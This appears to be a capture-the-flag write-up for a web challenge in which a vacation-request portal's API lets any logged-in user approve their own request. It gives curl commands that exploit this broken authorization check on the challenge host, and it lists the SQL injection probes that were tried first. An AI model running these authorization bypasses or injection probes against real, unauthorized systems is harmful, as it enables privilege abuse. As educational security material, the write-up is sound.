MetaProblems - Employee Vacation Scheduler

A vacation request portal hid an admin-only approve endpoint behind a UI button but left it open on the server. Reading the client-side JavaScript revealed the unexposed API action and calling it directly self-approved the request.


Challenge

Platform: MetaProblems Category: Web

The HR department is very stringent about its paid time off policies, and it takes them a long time to approve requests in the scheduler. Is there any way you could do it yourself?

Hint: How does the app send and retrieve data? You have to create an account to login, then submit your request.


Reconnaissance

The challenge serves an employee vacation request portal. The hint points at how the app communicates — meaning the API, not the UI.

First stop: /assets/app.js. Reading the client-side JavaScript reveals every API action available:

1function get_jwt_token(e,s)  { send_request({action:"token",  user:e, pass:s}) }
2function login()             { send_request({action:"login",  user:..., pass:...}) }
3function load_requests()     { send_request({action:"load",   token:get_token()}) }
4function submit_request()    { send_request({action:"submit", token:..., s_date:..., e_date:..., desc:...}) }
5function verify_request()    { send_request({action:"verify", token:..., id:...}) }
6function register()          { send_request({action:"register", name:..., user:..., pass:...}) }

All requests POST to /api as JSON. The critical observation: verify_request() exists in the JavaScript but the UI shows “You don’t have permission to approve requests.” The approve button is hidden from regular users — but the API endpoint is still there.


What I Tried First — SQL Injection

Before finding the access control bug, I went down the SQL injection path. When an app takes user input and stores it server-side, SQLi is one of the first things to check — so I submitted vacation requests with classic payloads in the description field:

'
:
UNION SELECT

Loading my requests back showed these stored and returned verbatim, which confirmed the input was reaching the database. But none of the payloads produced errors or leaked data — the backend was either parameterized or sanitized against injection. The app also returned the same {"success": true} regardless, giving no useful feedback.

This was a dead end. Going back to the JavaScript properly is what pointed me in the right direction.


The Vulnerability

This is broken function-level authorization (OWASP A01). The server renders the UI conditionally based on role, hiding the approve button from non-HR users. But the underlying /api endpoint with action=verify has no server-side permission check — it accepts the call from any authenticated user.

The UI restriction is enforced in the browser. The API restriction doesn’t exist.


Exploitation

Step 1 — Register and log in:

1curl -s -X POST http://host1.metaproblems.com:4650/api \
2  -d "action=register&name=test&user=test&pass=test123"
3
4curl -s -X POST http://host1.metaproblems.com:4650/api \
5  -d "action=login&user=test&pass=test123"
6# {"success": true, "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 — Submit a vacation request:

1curl -s -X POST http://host1.metaproblems.com:4650/api \
2  -d "action=submit&token=YOUR_TOKEN&s_date=2026-06-01&e_date=2026-06-07&desc=trip"
3# {"success": true}

Step 3 — Load requests to get the request ID:

1curl -s -X POST http://host1.metaproblems.com:4650/api \
2  -d "action=load&token=YOUR_TOKEN"
3# {"success": true, "vacations": [["trip", "2026-06-01", "2026-06-07", false, "1DF2LUR2GS", ""]]}

The request ID is in position [4] of the vacation tuple — 1DF2LUR2GS. Position [3] is false (not verified), and position [5] is empty (no flag yet).

Step 4 — Verify (approve) your own request:

1curl -s -X POST http://host1.metaproblems.com:4650/api \
2  -d "action=verify&token=YOUR_TOKEN&id=1DF2LUR2GS"
3# {"success": true}

Step 5 — Load again to retrieve the flag:

1curl -s -X POST http://host1.metaproblems.com:4650/api \
2  -d "action=load&token=YOUR_TOKEN"

Position [5] in the verified vacation tuple now contains the flag.


Reading the app.js

The load_requests() function in the JavaScript shows exactly how the flag is revealed:

1if (s.vacations[n][3]) {  // if verified
2    t = s.vacations[n][5]; // grab the hidden field
3}
4$("#vrf").html(t); // display it

The flag is stored server-side and only returned in the API response once the request is approved. The UI suppresses it for unverified requests, but the data was always there — we just needed to trigger the approval ourselves.


Takeaways

  • Never trust client-side enforcement alone. Hiding a button in the UI is not access control. The server must validate permissions on every request, regardless of what the frontend shows.
  • Read the JavaScript. Client-side code documents the entire API surface — every endpoint, every parameter, every action — even the ones the UI doesn’t expose to you.
  • Enumerate all API actions before exploiting. app.js revealed verify as an action before any active testing. Mapping the attack surface first is faster than guessing.
  • JWT tokens don’t imply authorization. The JWT proved identity (authentication) but the server failed to check what that identity was allowed to do (authorization).
  • SQLi is worth a quick check, but know when to move on. If the app isn’t giving you error feedback and payloads are being stored verbatim, the injection surface probably isn’t there — go back to first principles.